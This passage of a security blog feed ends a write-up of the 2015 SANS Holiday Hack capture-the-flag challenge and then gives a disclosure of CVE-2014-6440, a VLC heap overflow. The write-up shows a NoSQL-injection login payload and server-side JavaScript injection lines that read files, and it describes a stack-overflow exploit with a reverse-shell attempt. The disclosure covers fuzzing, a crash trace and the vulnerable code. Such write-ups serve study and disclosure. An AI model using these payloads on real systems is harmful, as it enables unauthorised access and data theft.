<span class="nt">"password"</span><span class="p">:</span> <span class="p">{</span><span class="nt">"$gt"</span><span class="p">:</span> <span class="s2">""</span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>Once logged in, it was possible to download the gnome.conf, another packet
capture, and another factory camera image, all directly from the file download
page.</p>
<p>The packet capture contained another SMTP session. In this email, the evil
plot was revealed - to dress like Santa Claus and rob houses on Christmas Eve!</p>
<div class="highlight"><pre><span></span><code> From: "c" <c@atnascorp.com>
To: <burglerlackeys@atnascorp.com>
Subject: All Systems Go for Dec 24, 2015
Date: Tue, 1 Dec 2015 11:33:56 -0500
Message-ID: <005501d12c56$12bf6dc0$383e4940$@atnascorp.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0056_01D12C2C.29E9B3E0"
X-Mailer: Microsoft Outlook 15.0
Thread-Index: AdEsVeghqBzCbZs7SUyM8aoCkrx6Ow==
Content-Language: en-us
This is a multipart message in MIME format.
------=_NextPart_000_0056_01D12C2C.29E9B3E0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit
My Burgling Friends,
Our long-running plan is nearly complete, and I'm writing to share the date
when your thieving will commence! On the morning of December 24, 2015, each
individual burglar on this email list will receive a detailed itinerary of
specific houses and an inventory of items to steal from each house, along
with still photos of where to locate each item. The message will also
include a specific path optimized for you to hit your assigned houses
quickly and efficiently the night of December 24, 2015 after dark.
Further, we've selected the items to steal based on a detailed analysis of
what commands the highest prices on the hot-items open market. I caution
you - steal only the items included on the list. DO NOT waste time grabbing
anything else from a house. There's no sense whatsoever grabbing crumbs too
small for a mouse!
As to the details of the plan, remember to wear the Santa suit we provided
you, and bring the extra large bag for all your stolen goods.
If any children observe you in their houses that night, remember to tell
them that you are actually "Santy Claus", and that you need to send the
specific items you are taking to your workshop for repair. Describe it in a
very friendly manner, get the child a drink of water, pat him or her on the
head, and send the little moppet back to bed. Then, finish the deed, and
get out of there. It's all quite simple - go to each house, grab the loot,
and return it to the designated drop-off area so we can resell it. And,
above all, avoid Mount Crumpit!
As we agreed, we'll split the proceeds from our sale 50-50 with each
burglar.
Oh, and I've heard that many of you are asking where the name ATNAS comes
from. Why, it's reverse SANTA, of course. Instead of bringing presents on
Christmas, we'll be stealing them!
Thank you for your partnership in this endeavor.
Signed:
-CLW
President and CEO of ATNAS Corporation
</code></pre></div>
<p><strong>SG-04:</strong> The admin credentials found in the firmware allowed login to SG-04,
but as expected, file download did not work. However, file upload was enabled,
and was vulnerable to JavaScript injection. </p>
<p>Once again using Burp Suite, it was possible to modify form submissions to
include malicious JavaScript. In this case, any JavaScript included in the
"postproc" form field would be executed on the server, making it straightforward
to display or download any files needed.</p>
<div class="highlight"><pre><span></span><code> <span class="n">res</span><span class="p">.</span><span class="k">end</span><span class="p">(</span><span class="n">require</span><span class="p">(</span><span class="s1">'fs'</span><span class="p">).</span><span class="n">readFileSync</span><span class="p">(</span><span class="s1">'files/gnome.conf'</span><span class="p">))</span>
<span class="n">require</span><span class="p">(</span><span class="s1">'fs'</span><span class="p">).</span><span class="n">readFileSync</span><span class="p">(</span><span class="s1">'files/factory_cam_4.zip'</span><span class="p">).</span><span class="n">toString</span><span class="p">(</span><span class="s1">'base64'</span><span class="p">)</span>
</code></pre></div>
<p>Files obtained from SG-04 were its gnome.conf, another packet capture, and
another factory camera image.</p>
<p>The packet capture included another SMTP session. In this email, the CEO
discusses her dislike of Christmas, her evil plot, and her motivations with her
therapist. Based on her signature, it becomes apparent that she is none other
than Cindy Lou Who, of "How the Grinch Stole Christmas" fame.</p>
<p><strong>SG-05:</strong> While the found credentials allowed login to SG-05, none of the
upload or download functions were active, nor were any of the previous
exploits successful. However, a port scan of SG-05 showed that port 4242 was
open. Based on analysis of the sgstatd source code, SG-05 was likely running
sgstatd on port 4242, and was therefore likely to be vulnerable.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/SG05_sgstatd.png" alt="The sgstatd interface" style="width: 100%;"/></p>
<p>The earlier analysis of sgstatd revealed a hidden command whose code contained
a buffer size mismatch that could lead to a buffer overflow and arbitrary code
execution.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/SG05_code.png" alt="The relevant section of the sgstatd program code" style="width: 100%;"/></p>
<p>As an attempt to mitigate buffer overflows, sgstatd employs a stack canary
for the vulnerable function. However, the canary was a constant, so bypassing it
was as simple as ensuring that the canary value was re-copied to the correct
place as part of the exploit payload.</p>
<p>Developing the exploit was mostly straightforward, thanks to some hints from the
challenge instructions. The first hint indicated that stack execution
protection (NX/DEP) was not being used, and checking the sgstatd binary from
the firmware confirmed this. Another hint indicated that ASLR was being used,
and that it might be wise to use a "jmp *esp" ROP gadget to bypass it.</p>
<p>Armed with this information, it was simply a matter of developing the payload,
finding the ROP gadget offsets, etc. The sgstatd source could be compiled with
symbols and debugged, so much of this was simplified. In addition, the sgstatd
binary from the firmware was compiled for x86 instead of ARM, so that was
useful for finding ROP gadget offsets for the target version of the binary.</p>
<p>The first shellcode attempted was a reverse shell using netcat. The payload
executed successfully on the local system against the locally compiled binary,
and also the firmware binary. However, launching it against the target failed.
At the time, it seemed that a firewall was blocking outbound connections, but
this turned out not to be the case. Eventually the problem was tracked
down to an issue with the shellcode itself. </p>
<p>Since at the time it seemed like there was a firewall problem, a different
approach was tried. Instead of using netcat, the payload was rewritten to
reuse the socket descriptor and open a shell over the existing connection.
This was made more difficult by sgstatd using randomized socket descriptors.
Frequently, this is handled by randomly trying to "brute-force" the socket
descriptor, and eventually succeeding. However, since the socket descriptor
was passed as an argument to an earlier function call, the value was still on
the stack. And since the function calls (and therefore stack layout) are
fairly consistent, it was simple enough to find the descriptor on the stack
with the debugger, calculate the offset relative to EBP/ESP, and then have the
payload retrieve the value using the offset.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/SG05_gdb.png" alt="The socket descriptor on the stack" style="width: 100%;"/></p>
<p>All of this worked both locally and against the target, yielding a shell and
the necessary files. Files obtained were SG-05's gnome.conf, another packet
capture, and another factory camera image.</p>
<p>The packet capture contained an IMAP mail session. In this email, the Grinch
was apologizing to Cindy Lou Who for what happened in the past.</p>
<h2>Part 5 - Attribution</h2>
<p>As previously discovered in the email, the culprit is Cindy Lou Who, from "How
the Grinch Stole Christmas", and her plot was to steal from families on
Christmas Eve using burglars dressed as Santa Claus.</p>
<p>Additionally, with all 5 factory camera images, it was possible to XOR them
together with the garbled camera image, producing an image of Cindy Lou Who,
age 62, sitting at her desk.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/cindy_who.png" alt="The decoded image of Cindy Who" style="width: 100%;"/></p>
<h2>Comments</h2>
<p>Overall, this was a very enjoyable challenge. Not only did it require a good
mix of skills, it was a good opportunity to brush up on old skills and pick up
some new skills at the same time. It also had a fun theme.</p>
<p>Kudos to the folks at SANS that developed this. They did a great job!</p>CVE-2014-6440: Heap overflow in VLC transcode module2015-03-04T19:46:48-05:002015-03-04T19:46:48-05:00bbloughtag:billblough.net,2015-03-04:/blog/2015/03/04/cve-2014-6440-heap-overflow-in-vlc-transcode-module/<hr>
<h2>Executive Summary</h2>
<p>VLC versions before 2.1.5 contain a vulnerability in the transcode module that
may allow a corrupted stream to overflow buffers on the heap. With a
non-malicious input, this could lead to heap corruption and a crash. However,
under the right circumstances, a malicious attacker could potentially …</p><hr>
<h2>Executive Summary</h2>
<p>VLC versions before 2.1.5 contain a vulnerability in the transcode module that
may allow a corrupted stream to overflow buffers on the heap. With a
non-malicious input, this could lead to heap corruption and a crash. However,
under the right circumstances, a malicious attacker could potentially use this
vulnerability to hijack program execution, and on some platforms, execute
arbitrary code.</p>
<h2>Methodology</h2>
<p>This vulnerability was found by fuzzing using <a href="https://www.cert.org/vulnerability-analysis/tools/bff.cfm">CERT's Basic Fuzzing Framework (BFF)</a>
and a <a href="http://samples.mplayerhq.hu/Divx4-bugs/Ikari_and_Rei_in_the_hospital-Shadowcry.avi">sample file from mplayerhq</a>. Testing was initially performed on
Debian Sid (x86) using the VLC version 2.1.2-2+b3 from Debian, and later on
Windows XP 32-bit using VLC version 2.1.3 from upstream.</p>
<p>After some time, BFF produced a <a href="http://billblough.net/files/sf_49e6f9517c74d73db54fb7baa29d9bed-550-minimized.avi">fuzzed file</a> that caused the following crash:</p>
<div class="highlight"><pre><span></span><code> *** Error in `/usr/bin/vlc': free(): corrupted unsorted chunks: 0xb384fd68 ***
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x75e52)[0xb756be52]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x76b90)[0xb756cb90]
/usr/lib/libvlccore.so.7(+0x7df4b)[0xb7481f4b]
/usr/lib/vlc/plugins/audio_filter/libmpgatofixed32_plugin.so(+0xb5a)[0xb3466b5a]
/usr/lib/libvlccore.so.7(aout_FiltersPlay+0x131)[0xb7477021]
/usr/lib/vlc/plugins/stream_out/libstream_out_transcode_plugin.so(+0x579a)[0xb47a979a]
/usr/lib/vlc/plugins/stream_out/libstream_out_transcode_plugin.so(+0x20f8)[0xb47a60f8]
/usr/lib/libvlccore.so.7(+0xa3ce1)[0xb74a7ce1]
/usr/lib/libvlccore.so.7(+0x3a0bf)[0xb743e0bf]
/lib/i386-linux-gnu/i686/cmov/libpthread.so.0(+0x6cf1)[0xb76b2cf1]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(clone+0x5e)[0xb75e5c3e]
</code></pre></div>
<p>Testing under <a href="http://valgrind.org/">valgrind</a> showed multiple invalid writes past the end of allocated
heap chunks (heap overflow), and following the execution using <a href="https://www.gnu.org/software/gdb/">gdb</a> confirmed
that this was not a false positive.</p>
<h2>Root Cause</h2>
<p>Further investigation narrowed the issue to two functions in
<code>modules/audio_filter/converter/mpgatofixed32.c</code>.</p>
<p>In the function <code>Convert</code>, this code allocates heap space based on the number of samples,
bits, and channels detected:</p>
<div class="highlight"><pre><span></span><code> <span class="kt">size_t</span> <span class="n">i_out_size</span> <span class="o">=</span> <span class="n">p_block</span><span class="o">-></span><span class="n">i_nb_samples</span> <span class="o">*</span>
<span class="n">p_filter</span><span class="o">-></span><span class="n">fmt_out</span><span class="p">.</span><span class="n">audio</span><span class="p">.</span><span class="n">i_bitspersample</span> <span class="o">*</span>
<span class="n">p_filter</span><span class="o">-></span><span class="n">fmt_out</span><span class="p">.</span><span class="n">audio</span><span class="p">.</span><span class="n">i_channels</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
<span class="n">block_t</span> <span class="o">*</span><span class="n">p_out</span> <span class="o">=</span> <span class="n">block_Alloc</span><span class="p">(</span> <span class="n">i_out_size</span> <span class="p">);</span>
</code></pre></div>
<p>However, in the function <code>DoWork</code>, the samples and channels are detected using
a different method:</p>
<div class="highlight"><pre><span></span><code> <span class="k">struct</span> <span class="nc">mad_pcm</span> <span class="o">*</span> <span class="n">p_pcm</span> <span class="o">=</span> <span class="o">&</span><span class="n">p_sys</span><span class="o">-></span><span class="n">mad_synth</span><span class="p">.</span><span class="n">pcm</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i_samples</span> <span class="o">=</span> <span class="n">p_pcm</span><span class="o">-></span><span class="n">length</span><span class="p">;</span>
<span class="n">mad_fixed_t</span> <span class="k">const</span> <span class="o">*</span> <span class="n">p_left</span> <span class="o">=</span> <span class="n">p_pcm</span><span class="o">-></span><span class="n">samples</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="n">mad_fixed_t</span> <span class="k">const</span> <span class="o">*</span> <span class="n">p_right</span> <span class="o">=</span> <span class="n">p_pcm</span><span class="o">-></span><span class="n">samples</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="kt">float</span> <span class="o">*</span><span class="n">p_samples</span> <span class="o">=</span> <span class="p">(</span><span class="kt">float</span> <span class="o">*</span><span class="p">)</span><span class="n">p_out_buf</span><span class="o">-></span><span class="n">p_buffer</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span> <span class="n">i_samples</span> <span class="o">!=</span> <span class="n">p_out_buf</span><span class="o">-></span><span class="n">i_nb_samples</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">msg_Err</span><span class="p">(</span> <span class="n">p_filter</span><span class="p">,</span> <span class="s">"unexpected samples count (corrupt stream?): "</span>
<span class="s">"%u / %u"</span><span class="p">,</span> <span class="n">i_samples</span><span class="p">,</span> <span class="n">p_out_buf</span><span class="o">-></span><span class="n">i_nb_samples</span> <span class="p">);</span>
<span class="n">p_sys</span><span class="o">-></span><span class="n">i_reject_count</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">reject</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* Interleave and keep buffers in mad_fixed_t format */</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">p_pcm</span><span class="o">-></span><span class="n">channels</span> <span class="o">==</span> <span class="mi">2</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">i_samples</span><span class="o">--</span> <span class="p">)</span>
<span class="p">{</span>
<span class="c1">//assert( *p_left < MAD_F_ONE );</span>
<span class="c1">//assert( *p_left >= -MAD_F_ONE );</span>
<span class="c1">//assert( *p_right < MAD_F_ONE );</span>
<span class="c1">//assert( *p_right >= -MAD_F_ONE );</span>
<span class="o">*</span><span class="n">p_samples</span><span class="o">++</span> <span class="o">=</span> <span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="o">*</span><span class="n">p_left</span><span class="o">++</span> <span class="o">/</span> <span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="n">MAD_F_ONE</span><span class="p">;</span>
<span class="o">*</span><span class="n">p_samples</span><span class="o">++</span> <span class="o">=</span> <span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="o">*</span><span class="n">p_right</span><span class="o">++</span> <span class="o">/</span> <span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="n">MAD_F_ONE</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">assert</span><span class="p">(</span> <span class="n">p_pcm</span><span class="o">-></span><span class="n">channels</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">);</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">i_samples</span><span class="o">--</span> <span class="p">)</span>
<span class="p">{</span>
<span class="c1">//assert( *p_left < MAD_F_ONE );</span>
<span class="c1">//assert( *p_left >= -MAD_F_ONE );</span>
<span class="o">*</span><span class="n">p_samples</span><span class="o">++</span> <span class="o">=</span> <span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="o">*</span><span class="n">p_left</span><span class="o">++</span> <span class="o">/</span> <span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="n">MAD_F_ONE</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>With a sufficiently corrupted input stream, this allows for a situation where
the buffer is allocated to contain one channel of data, but then two
channels of data are written to it, causing the write to overflow the
buffer.</p>
<h2>Remediation</h2>
<p>Prior to being notified of this issue, the VLC team had already made changes to
the 2.2 development branch <a href="http://git.videolan.org/?p=vlc.git;a=commit;h=a3a150b91f09620dc0d81c22db591a20faf4b2a5">here</a>, <a href="http://git.videolan.org/?p=vlc.git;a=commit;h=39a99d25872f64dacd470fda86ba2193a55cda52">here</a>, and <a href="http://git.videolan.org/?p=vlc.git;a=commit;h=26989ea2d98380eef28843ffa8ca490e8f9d6dae">here</a> that corrects this
issue by reinitializing the filters when a format change is detected. However,
the fixes had not yet been backported to the 2.1 maintenance branch.</p>
<p>Once notified, the VLC team quickly resolved the issue by backporting the
relevant patches to the maintenance branch <a href="http://git.videolan.org/?p=vlc/vlc-2.1.git;a=commit;h=28bd6670a26bf88c2523b7302e2c22f8ca210bb7">here</a>, <a href="http://git.videolan.org/?p=vlc/vlc-2.1.git;a=commit;h=feca6658b4b84b4bc8b7a08431e811813277d31b">here</a>, and
<a href="http://git.videolan.org/?p=vlc/vlc-2.1.git;a=commit;h=e40a4a1a54be2b69e4e001451f0dd91f3857a976">here</a>. They also added an additional check on both the
<a href="http://git.videolan.org/?p=vlc.git;a=commit;h=a113b849e428b71813a569021bd10d6974f6621f">development</a> and <a href="http://git.videolan.org/?p=vlc/vlc-2.1.git;a=commit;h=a5bee4c5cf0c8fca0d1ddaf570aeebc78e824b15">maintenance</a> branches for good measure.</p>
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6440">CVE-2014-6440</a> was assigned to this issue.</p>
<h2>Timeline</h2>
<p>2014-04-18: VLC team notified of issue</p>
<p>2014-04-19: Fixed in VLC repository</p>
<p>2014-07-06: VLC 2.1.5 maintenance release</p>